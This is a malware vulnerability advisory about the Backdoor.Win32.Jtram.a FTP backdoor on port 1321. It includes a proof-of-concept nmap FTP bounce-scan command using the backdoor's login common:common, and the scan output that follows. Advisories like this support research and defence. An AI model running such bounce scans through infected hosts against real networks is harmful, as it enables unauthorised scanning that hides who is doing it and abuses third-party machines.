Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/596882dfba543b23ad3225d24ee5e800_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jtram.a
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 1321. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 596882dfba543b23ad3225d24ee5e800
Vuln ID: MVID-2022-0443
Disclosure: 01/05/2022


Exploit/PoC:
nmap -n -Pn -b common:common@192.168.18.129:1321 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-29 19:11 Pacific Standard Time
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://common:common@192.168.18.129:1321
Connected:220-rconnect 3.12, by WhitSoft Development (www.whitsoftdev.com)
220-You are connecting from 130.18.168.192.in-addr.arpa:5074.
220 Proceed with login.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 19:12
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 19:12, 2.11s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds


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